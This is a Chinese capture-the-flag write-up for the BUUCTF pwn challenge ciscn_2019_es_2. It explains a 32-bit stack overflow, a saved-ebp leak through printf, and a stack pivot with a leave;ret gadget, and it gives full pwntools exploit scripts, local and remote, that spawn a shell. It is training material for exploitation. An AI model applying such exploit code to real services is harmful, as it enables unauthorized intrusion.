当前位置: 首页 > news >正文

巧借东风:32位栈迁移破解ciscn_2019_es_2的空间困局

BUUCTF-ciscn_2019_es_2

一、题目来源

BUUCTF-Pwn-ciscn_2019_es_2

二、信息搜集

将题目给的二进制文件丢入Linux虚拟机中

通过file命令查看文件信息

通过checksec命令查看文件包含措施

三、反汇编文件开始分析

1、代码基本逻辑分析

将题目给的二进制文件丢入32位Ida中进行反汇编

首先看到main函数,下面为它的汇编代码:

.text:080485FF ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:080485FF                 public main
.text:080485FF main            proc near               ; DATA XREF: _start+17↑o
.text:080485FF
.text:080485FF var_4           = dword ptr -4
.text:080485FF argc            = dword ptr  8
.text:080485FF argv            = dword ptr  0Ch
.text:080485FF envp            = dword ptr  10h
.text:080485FF
.text:080485FF ; __unwind {
.text:080485FF                 lea     ecx, [esp+4]
.text:08048603                 and     esp, 0FFFFFFF0h
.text:08048606                 push    dword ptr [ecx-4]
.text:08048609                 push    ebp
.text:0804860A                 mov     ebp, esp
.text:0804860C                 push    ecx
.text:0804860D                 sub     esp, 4
.text:08048610                 call    init
.text:08048615                 sub     esp, 0Ch
.text:08048618                 push    offset s        ; "Welcome, my friend. What's your name?"
.text:0804861D                 call    _puts
.text:08048622                 add     esp, 10h
.text:08048625                 call    vul
.text:0804862A                 mov     eax, 0
.text:0804862F                 mov     ecx, [ebp+var_4]
.text:08048632                 leave
.text:08048633                 lea     esp, [ecx-4]
.text:08048636                 retn
.text:08048636 ; } // starts at 80485FF
.text:08048636 main            endp

没什么特别的,但他调用了一个vul函数,跟进查看,下面是vul函数中的代码:

.text:08048595                 public vul
.text:08048595 vul             proc near               ; CODE XREF: main+26↓p
.text:08048595
.text:08048595 s               = byte ptr -28h
.text:08048595
.text:08048595 ; __unwind {
.text:08048595                 push    ebp
.text:08048596                 mov     ebp, esp
.text:08048598                 sub     esp, 28h
.text:0804859B                 sub     esp, 4
.text:0804859E                 push    20h             ; n
.text:080485A0                 push    0               ; c
.text:080485A2                 lea     eax, [ebp+s]
.text:080485A5                 push    eax             ; s
.text:080485A6                 call    _memset
.text:080485AB                 add     esp, 10h
.text:080485AE                 sub     esp, 4
.text:080485B1                 push    30h             ; nbytes
.text:080485B3                 lea     eax, [ebp+s]
.text:080485B6                 push    eax             ; buf
.text:080485B7                 push    0               ; fd
.text:080485B9                 call    _read
.text:080485BE                 add     esp, 10h
.text:080485C1                 sub     esp, 8
.text:080485C4                 lea     eax, [ebp+s]
.text:080485C7                 push    eax
.text:080485C8                 push    offset format   ; "Hello, %s\n"
.text:080485CD                 call    _printf
.text:080485D2                 add     esp, 10h
.text:080485D5                 sub     esp, 4
.text:080485D8                 push    30h             ; nbytes
.text:080485DA                 lea     eax, [ebp+s]
.text:080485DD                 push    eax             ; buf
.text:080485DE                 push    0               ; fd
.text:080485E0                 call    _read
.text:080485E5                 add     esp, 10h
.text:080485E8                 sub     esp, 8
.text:080485EB                 lea     eax, [ebp+s]
.text:080485EE                 push    eax
.text:080485EF                 push    offset format   ; "Hello, %s\n"
.text:080485F4                 call    _printf
.text:080485F9                 add     esp, 10h
.text:080485FC                 nop
.text:080485FD                 leave
.text:080485FE                 retn
.text:080485FE ; } // starts at 8048595
.text:080485FE vul             endp

我们可以看到,该函数中调用了两个read,且简单分析之后,会发现这两个read都可能造成栈溢出

能造成栈溢出的原因很简单,read函数通过其参数nbytes能限制读取用户输入的长度

其在函数中的具体限制大小为0x30即48B

但是,内存中存储用户输入的位置在[ebp+s]即[ebp-0x28]的位置

也就是说用户只需要输入48B的数据就可以覆盖“返回地址”部分

但是这里的栈溢出和以往的都不一样,我们可以发现我们虽然能覆盖返回地址,但是无法构造更长的ROP链,导致很多的利用手段都不能很好的实施

2、栈迁移

有了上面的问题,我们就很容易想到对应的解决方案就是栈迁移,在利用之前,我们需要先知道什么是栈迁移

(1)什么是栈迁移?

栈迁移(Stack Pivot)是一种通过修改程序的栈指针(esp/rsp)来将栈“移动”到一个新的内存区域的技术

目的:绕过可控栈空间的限制,继续执行更复杂的ROP链

常用于:当前栈帧空间小无法容纳完整攻击链

(2)“上下文”与gadget的配合

之前的栈溢出用到的都是“返回地址”部分,在栈迁移当中还会涉及到“上下文”的部分

在调用一个函数之前,需要完成“压入返回地址”、“压入上下文”的操作

返回地址是为了函数调用结束之后可以返回到原函数中继续执行后面的部分

上下文存储的是之前函数的栈帧信息,比如之前函数ebp的值等

我们可以将“上下文”部分设置成我们栈迁移的目的地址

然后将“返回地址”部分设置成下述gadget(通常来说,也可以找功能类似的)

leave
ret

leave指令等价于以下代码:

mov esp, ebp
pop ebp

那么程序的ebp和esp都受到了我们的调控,而栈帧的确定就是通过这两个寄存器来的,因此能实现栈迁移

3、迁移目的地的选择

上面我们了解了栈迁移的知识点,很明显接下来我们要做的就是选择我们迁移的目的地

该目的地址是我们确切知道的地址,什么叫确切知道呢?

首先,我们知道在文件保护中有两个措施会影响地址的判断,分别是ASLR、PIE

ASLR(操作系统默认开启,做Pwn题目的时候默认当他开着就行)会随机化的地址

区域是否随机化说明
栈(Stack)✅ 是栈顶地址随机变化
堆(Heap)✅ 是malloc地址变化
libc.so(共享库)✅ 是共享库加载基址随机
mmap区域✅ 是映射区地址随机
可执行程序本体(代码段)仅在启用PIE时才随机否则是固定地址

PIE(可以通过checksec命令查看,通过之前的分析本题没有开启)会随机化的地址

区域是否受 PIE 影响说明
.text✅ 会随机化存放程序的指令
.data✅ 会随机化存放初始化的全局变量
.bss✅ 会随机化存放未初始化的全局/静态变量
.rodata✅ 会随机化只读数据段,如字符串常量等
GOT / PLT 表✅ 会随机化.text.data随动
栈(Stack)❌ 不由PIE控制由ASLR控制,单独随机化
堆(Heap)❌ 不由PIE 控制由ASLR控制,单独随机化
libc / ld.so❌ 不由PIE控制由ASLR控制,动态库的加载地址是独立的

除了文件保护措施,还要知道我们是否可以有方法写入该地址

因此,我们选择地址就有两个要求:

  • 该地址能被我们写入(无论是自己构造调用函数,还是用程序本身的逻辑)

  • 该地址我们确切知道,即要么不受保护措施的影响,要么该地址可被我们泄露出来

好,具体问题具体分析,本题保护措施有ASLR,能写入内存的方法有vul函数中的read函数,写入的位置为[ebp+s]

ebp指向的是栈中的地址,由于ASLR的原因是随机化的,因此我们需要判断能否泄露ebp的值

我们看到关键代码:

.text:080485AB                 add     esp, 10h
.text:080485AE                 sub     esp, 4
.text:080485B1                 push    30h             ; nbytes
.text:080485B3                 lea     eax, [ebp+s]
.text:080485B6                 push    eax             ; buf
.text:080485B7                 push    0               ; fd
.text:080485B9                 call    _read
.text:080485BE                 add     esp, 10h
.text:080485C1                 sub     esp, 8
.text:080485C4                 lea     eax, [ebp+s]
.text:080485C7                 push    eax
.text:080485C8                 push    offset format   ; "Hello, %s\n"
.text:080485CD                 call    _printf

程序会先读取用户的输入最大长度为0x30即48B,然后通过printf函数将我们的内容输出

但是我们注意到,printf函数使用的结构化字符串为“%s”他的特点是不限制字符串的长度直到读到\x00(C语言的结束符)为止

那我们注意到,我们最大的输入信息为48B,刚好可以覆盖到“返回地址”和“上下文(ebp所在为止)”,那也就是说,我们只需要构造payload(不带\x00)然后不要覆盖到“上下文”部分,就可以通过printf函数顺利泄露ebp的值

而且我们可以发现,vul函数给了我们两次栈溢出的机会(两个read),我们就可以拿一个来泄露地址,一个来构造ROP

四、Poc构造

1、完整Poc

通过上面的分析,我们就可以构造出对应的Poc,先看Poc的完整代码:

from pwn import*
p=process('./ciscn_2019_es_2')
​
system=0x8048400
leave_ret = 0x080484b8
fake_ret = 0x080485FF
​
payload = b'A'*39 + b'B'
p.sendafter("Welcome, my friend. What's your name?",payload)
p.recvuntil(b"B")
leak_ebp = u32(p.recv(4))
print(hex(leak_ebp))
​
payload=b'a'*4+p32(system)+p32(fake_ret)+p32(leak_ebp-0x28)+b'/bin/sh'
payload=payload.ljust(0x28,b'\x00')
payload+=p32(leak_ebp-0x38)+p32(leave_ret)
p.send(payload)
p.interactive()

2、泄露地址部分

先来看到泄露地址的部分:

payload = b'A'*39 + b'B'
p.sendafter("Welcome, my friend. What's your name?",payload)
p.recvuntil(b"B")
leak_ebp = u32(p.recv(4))
print(hex(leak_ebp))

我们上面分析的时候说过,通过第一个read去泄露ebp的信息

我们构造的payload需要满足的条件如下:

  • 不能覆盖到“上下文”、“返回地址”

  • 不能有"\x00"结束符

因此上述代码干的事情就是

  • 构造payload

  • 发送payload

  • 接受泄露地址

至于要怎么判断接受多少信息后才是泄露出来的信息,我们可以通过构造多个输出信息来锁定我们的目标,锁定目标后再进行精确提取

3、关键问题思考

现在思考一个非常非常关键的问题:我们泄露出来的ebp的信息究竟是什么?

准确来说是main函数即调用vul函数的函数的栈帧基址信息

但是我们需要的是vul的栈帧的基址信息,所以我们还需要额外的一个步骤,就是分析出vul的栈帧的基址和main函数基址之间的差值

这个不难,我们可以通过动态调试(工具:gdb)轻松得到两者的差值

我们先进入动态调试界面,将断点设置成“0x08048625”即main函数调用vul之前,然后run运行

我们的目的是得到main函数的栈帧基址信息,所以只要在main函数之内选个地址即可,但是注意要选择在ebp初始化完成之后的地址

啥是初始化ebp?

函数被调用的时候,刚开始的几段代码就是用于初始化ebp的即会完成压入“上下文”并设置栈帧基址的操作

通过指令“info registers”查看寄存器信息

此时看到的ebp就是main函数的ebp,记录下来:0xffffd198

接下来通过同样的方法,将断点设置在vul函数内(要在ebp完成初始化之后),我这选择0x0804859B

我们此时看到的ebp就是vul函数栈帧基址信息,即0xffffd188

他们之间的差值为0xffffd198-0xffffd188,即0x10

所以,我们read写入的内存位置为[ebp-0x28],即[泄露的ebp-0x38]

4、利用第二个read构造system函数

payload=b'a'*4+p32(system)+p32(fake_ret)+p32(leak_ebp-0x28)+b'/bin/sh'
payload=payload.ljust(0x28,b'\x00')
payload+=p32(leak_ebp-0x38)+p32(leave_ret)
p.send(payload)
p.interactive()

我们接下来就是要调用system("/bin/sh")函数,即构造函数调用栈

通过ida的“shitf+f12”可以打开字符串窗口,观察后发现程序中并没有“/bin/sh”的身影,我们有两个方法:

  • 先写入到内存,然后指定写入位置

  • 完成libc库基址的泄露,然后通过偏移量(根据具体版本)找到“/bin/sh”所在位置

写入内存有着ASLR保护机制的限制,但是我们已经泄露了栈中的地址,即已经排除了ASLR的干扰,所以方法一是首选

为什么我们不选择方法二?

(1)程序中有system函数,且我们已经泄露地址,写入"/bin/sh"后很方便得到他的地址

(2)ROP链可能过长,即使栈迁移还是不够

我们接下来讲讲payload这么构造的原因,结合栈结构来进行分析:

函数调用栈不会构造的看过来

在汇编代码中,我们调用函数,比如system("/bin/sh"),其对应的代码大致如下(伪代码,32位计算机):

push 参数
call system

也就是说调用之前会先将参数压栈,压入后使用call指令,call指令会自动完成“压入返回地址”的操作,再开始system即被调函数的逻辑

所以栈中的结构如下:

栈底(高地址)
参数
返回地址
system
栈顶(低地址)

而我们输入的信息会从低地址写向高地址,所以构造函数调用栈的payload应该是这样的顺序:

payload = padding(溢出数据) + system + fake_ret(返回地址) + 参数

一边走逻辑一边分析(注意和我上面列出来的图结合来看)

当vul函数执行完毕,需要执行到代码:

.text:080485FD                 leave
.text:080485FE                 retn

也就是说,此时esp会指向ebp,即我们的上下文处

然后出栈,将出栈的信息存入ebp中,也就是ebp指向了我们构造的地址即leak_ebp-0x38

为什么不是减0x28?

好好理解“关键问题思考”部分,这里不再赘述

另外,Poc中leak_ebp-0x28、leak_ebp-0x38这部分看不懂的都可以看“关键问题思考”部分

出栈会将esp+4B,也就是esp指向了“返回地址”处

那么接下来ret指令,就会弹出栈顶元素,并把其中的内容作为地址,然后前往该地址去运行

该“返回地址”是我们精心挑选的gadget,也就是“leave ; ret”

该gadget可以通过ROPgadget找到

使用下述命令:

那么接着运行leave指令,此时也就是将esp也指到了我们构造的位置leak_ebp-0x38

然后ebp就会被指向莫名奇妙的位置(因为leak_ebp-0x38中写入的信息是b'A'*40),但是接下来用到的都是esp和ebp的关系已经不大了

然后ret指令正式开始我们的ROP链,也就是构造我们的system('/bin/sh')

这一部分就不再赘述了(不会的翻看上面,有详细介绍)

额外提醒:

我们写入“/bin/sh”的时候,一定要记得加上结束符号“\x00”否则可能导致取的信息错误

5、测试Poc

运行本地Poc

成功拿下本地shell

远程Poc构造:

from pwn import*
p=remote("node5.buuoj.cn",29238)
​
system=0x8048400
leave_ret = 0x080484b8
fake_ret = 0x080485FF
​
payload = b'A'*39 + b'B'
p.sendafter("Welcome, my friend. What's your name?",payload)
p.recvuntil(b"B")
leak_ebp = u32(p.recv(4))
print(hex(leak_ebp))
​
payload=b'a'*4+p32(system)+p32(fake_ret)+p32(leak_ebp-0x28)+b'/bin/sh'
payload=payload.ljust(0x28,b'\x00')
payload+=p32(leak_ebp-0x38)+p32(leave_ret)
p.send(payload)
p.interactive()

运行

成功拿下flag

http://www.dtcms.com/a/268804.html

相关文章:

  • maven 发布到中央仓库-01-概览
  • 23、企业租赁管理(Rent)全流程指南:从资产盘活到价值最大化的数字化实践
  • Dify工作流实战:输入接口名,自动生成带源码的Markdown API文档(附完整Prompt)
  • Linux 文件系统与日志分析(补充)
  • 报错 400 和405解决方案
  • 海外短剧系统开发:PC端与H5端的全栈实践与深度解析
  • Day07- 管理并发和并行挑战:竞争条件和死锁
  • 在bash shell 函数传递数组的问题2
  • 【DeepSeek实战】17、MCP地图服务集成全景指南:高德、百度、腾讯三大平台接入实战
  • PCIE Ack/Nak机制详解
  • Unity 实现与 Ollama API 交互的实时流式响应处理
  • ES 压缩包安装
  • socket接口api的深度探究
  • 初识Neo4j之Cypher
  • 【Unity笔记】Unity 粒子系统 Triggers 使用解析:监听粒子进入与离开区域并触发事件
  • 在 macOS 上安装和测试 LibreOffice
  • 深入解析TCP:可靠传输的核心机制与实现逻辑(三次握手、四次挥手、流量控制、滑动窗口、拥塞控制、慢启动、延时应答、面向字节流、粘包问题)
  • 借助HarmonyOS SDK,《NBA巅峰对决》实现“分钟级启动”到“秒级进场”
  • 【7】PostgreSQL 事务
  • SRAM与三级缓存(L1/L2/L3 Cache)的关系
  • 芯谷科技--高性能双运算放大器D358
  • 第二届云计算与大数据国际学术会议(ICCBD 2025)
  • 火山引擎Data Agent全面上线售卖!以企业级数据智能体,重构数据应用范式
  • PostgreSQL中的HASH分区:原理、实现与最佳实践
  • 查看WPS Ofice是64位还是32位
  • 腾讯云 CDN 不支持 WebSocket 的现状与华为云 CDN 的替代方案-优雅草卓伊凡
  • 缺乏项目进度追踪工具,如何选择适合的工具
  • 中电金信 :十问高质量数据集:金融大模型价值重塑有“据”可循
  • 案例分享:应用VIC-3D High-Speed FFT进行吉他拨弦振动的工作变形ODS测量
  • QML中的Item